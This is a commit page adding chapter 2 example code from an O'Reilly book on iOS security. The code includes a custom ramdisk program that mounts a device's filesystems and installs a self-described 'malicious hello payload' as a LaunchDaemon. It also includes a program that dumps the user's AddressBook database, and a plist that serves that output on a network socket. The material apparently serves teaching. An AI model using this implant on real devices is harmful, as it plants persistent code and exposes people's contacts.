Skip to content

Commit 98f4681

Browse files
tbflytbfly
committed
+): Add Orig code from:
http://examples.oreilly.com/0636920023234/
1 parent 8b630ca commit 98f4681

33 files changed

+3056
-0
lines changed

‎ch02/com.yourdomain.hello.plist‎

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
3+
<plist version="1.0">
4+
5+
<dict>
6+
<key>Label</key>
7+
<string>com.yourdomain.hello</string>
8+
9+
<key>Program</key>
10+
<string>/usr/bin/hello</string>
11+
12+
<key>ProgramArguments</key>
13+
<array>
14+
<string>/usr/bin/hello</string>
15+
</array>
16+
17+
<key>SessionCreate</key>
18+
<true/>
19+
20+
<key>Sockets</key>
21+
<dict>
22+
<key>Listeners</key>
23+
<dict>
24+
<key>SockServiceName</key>
25+
<string>7</string>
26+
</dict>
27+
</dict>
28+
29+
<key>StandardErrorPath</key>
30+
<string>/dev/null</string>
31+
32+
<key>inetdCompatibility</key>
33+
<dict>
34+
<key>Wait</key>
35+
<false/>
36+
</dict>
37+
</dict>
38+
39+
</plist>

‎ch02/hello.c‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#include <stdio.h>
2+
3+
int main() {
4+
printf("Hello, world!\n");
5+
}

‎ch02/hello2.c‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#include <stdio.h>
2+
#include <fcntl.h>
3+
#include <stdlib.h>
4+
5+
#define FILE "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"
6+
7+
int main() {
8+
int fd = open(FILE, O_RDONLY);
9+
char buf[128];
10+
int nr;
11+
12+
if (fd < 0)
13+
exit -1;
14+
while ((nr = read(fd, buf, sizeof(buf))) > 0) {
15+
write(fileno(stdout), buf, nr);
16+
}
17+
close(fd);
18+
}

‎ch02/launchd.c‎

Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
#include <fcntl.h>
2+
#include <sys/stat.h>
3+
#include <sys/wait.h>
4+
#include "/usr/include/hfs/hfs_mount.h"
5+
6+
#define O_RDONLY 0x0000
7+
#define O_WRONLY 0x0001
8+
#define O_RDWR 0x0002
9+
#define O_CREAT 0x0200
10+
#define O_TRUNC 0x0400
11+
#define O_EXCL 0x0800
12+
13+
static int console;
14+
15+
const char* fsck_hfs[] =
16+
{ "/sbin/fsck_hfs", "-y", "/dev/rdisk0s1s1", NULL };
17+
const char* fsck_hfs_user[] =
18+
{ "/sbin/fsck_hfs", "-y", "/dev/rdisk0s1s2", NULL };
19+
20+
void sleep(unsigned int sec) {
21+
int i;
22+
for (i = sec * 10000000; i>0; i--) { }
23+
}
24+
25+
void puts(const char* s) {
26+
while ((*s) != '\0') {
27+
write(1, s, 1);
28+
s++;
29+
}
30+
sync();
31+
}
32+
33+
int cp(const char *src, const char *dest) {
34+
char buf[0x800];
35+
struct stat s;
36+
int in, out, nr = 0;
37+
38+
if (stat(src, &s) != 0)
39+
return -1;
40+
41+
in = open(src, O_RDONLY, 0);
42+
if (in < 0)
43+
return -1;
44+
45+
out = open(dest, O_WRONLY | O_CREAT, 0);
46+
if (out < 0) {
47+
close(in);
48+
return -1;
49+
}
50+
51+
do {
52+
nr = read(in, buf, 0x800);
53+
if (nr > 0) {
54+
nr = write(out, buf, nr);
55+
}
56+
} while(nr > 0);
57+
58+
close(in);
59+
close(out);
60+
61+
if (nr < 0)
62+
return -1;
63+
64+
return 0;
65+
}
66+
67+
int hfs_mount(const char* device, const char* path, int options) {
68+
struct hfs_mount_args args;
69+
args.fspec = device;
70+
return mount("hfs", path, options, &args);
71+
}
72+
73+
int fsexec(char* argv[], char* env[], int pause) {
74+
int pid = vfork();
75+
if (pid != 0) {
76+
if (pause) {
77+
while (wait4(pid, NULL, WNOHANG, NULL) <= 0) {
78+
sleep(1);
79+
}
80+
} else {
81+
return pid;
82+
}
83+
} else {
84+
chdir("/mnt");
85+
if (chroot("/mnt") != 0)
86+
return -1;
87+
execve(argv[0], argv, env);
88+
}
89+
return 0;
90+
}
91+
92+
int main(int argc, char **argv, char **envp) {
93+
struct stat s;
94+
int r, i;
95+
96+
console = open("/dev/console", O_WRONLY);
97+
dup2(console, 1);
98+
99+
sleep(5);
100+
for(i=0;i<75;i++)
101+
puts("\n");
102+
puts("ramdisk initialized.\n");
103+
104+
puts("searching for disk...\n");
105+
while (stat("/dev/disk0s1s1", &s) != 0) {
106+
puts("waiting for /dev/disk0s1s1 to appear...\n");
107+
sleep(30);
108+
}
109+
110+
puts("mounting root filesystem...\n");
111+
while(1) {
112+
if (hfs_mount("/dev/disk0s1s1", "/mnt", MNT_ROOTFS | MNT_RDONLY) != 0) {
113+
puts("unable to mount filesystem, waiting...\n");
114+
sleep(10);
115+
} else {
116+
break;
117+
}
118+
}
119+
puts("filesystem mounted.\n");
120+
puts("mounting devfs...\n");
121+
if (mount("devfs", "/mnt/dev", 0, NULL) != 0) {
122+
puts("unable to mount devfs. aborting.\n");
123+
unmount("/mnt", 0);
124+
return -1;
125+
}
126+
puts("devfs mounted\n");
127+
128+
puts("checking root filesystem...\n");
129+
r = fsexec(fsck_hfs, envp, 1);
130+
if (r) {
131+
puts("unable to check root filesystem. aborting.\n");
132+
unmount("/mnt/dev", 0);
133+
unmount("/mnt", 0);
134+
return -1;
135+
}
136+
137+
puts("mounting root filesystem read-write...\n");
138+
r = hfs_mount("/dev/disk0s1s1", "/mnt", MNT_ROOTFS | MNT_UPDATE);
139+
140+
puts("checking user filesystem...\n");
141+
r = fsexec(fsck_hfs_user, envp, 1);
142+
143+
puts("mounting user filesystem...\n");
144+
mkdir("/mnt/private/var", 0755);
145+
if (hfs_mount("/dev/disk0s1s2", "/mnt/private/var", MNT_RDONLY) != 0) {
146+
puts("unable to mount user filesystem. aborting.\n");
147+
return -1;
148+
}
149+
puts("user filesystem mounted.\n");
150+
151+
puts("running custom operations...\n");
152+
153+
/* BEGIN: Custom operations */
154+
155+
puts("installing malicious hello payload...");
156+
cp("/files/hello", "/mnt/usr/bin/hello");
157+
cp("/files/com.yourdomain.hello.plist",
158+
"/System/Library/LaunchDaemons/com.yourdomain.hello.plist");
159+
160+
chown("/mnt/usr/bin/hello", 0, 80);
161+
chown("/mnt/System/Library/LaunchDaemons/com.yourdomain.hello.plist",
162+
0, 80);
163+
chmod("/mnt/usr/bin/hello", 0755);
164+
chmod("/mnt/System/Library/LaunchDaemons/com.yourdomain.hello.plist",
165+
0755);
166+
167+
/* END: Custom operations */
168+
169+
sync();
170+
171+
puts("unmounting disks...\n");
172+
unmount("/mnt/private/var", 0);
173+
unmount("/mnt/dev", 0);
174+
unmount("/mnt", 0);
175+
sync();
176+
177+
puts("rebooting device...\n");
178+
179+
close(console);
180+
reboot(1);
181+
return 0;
182+
}
183+

0 commit comments

Comments
 (0)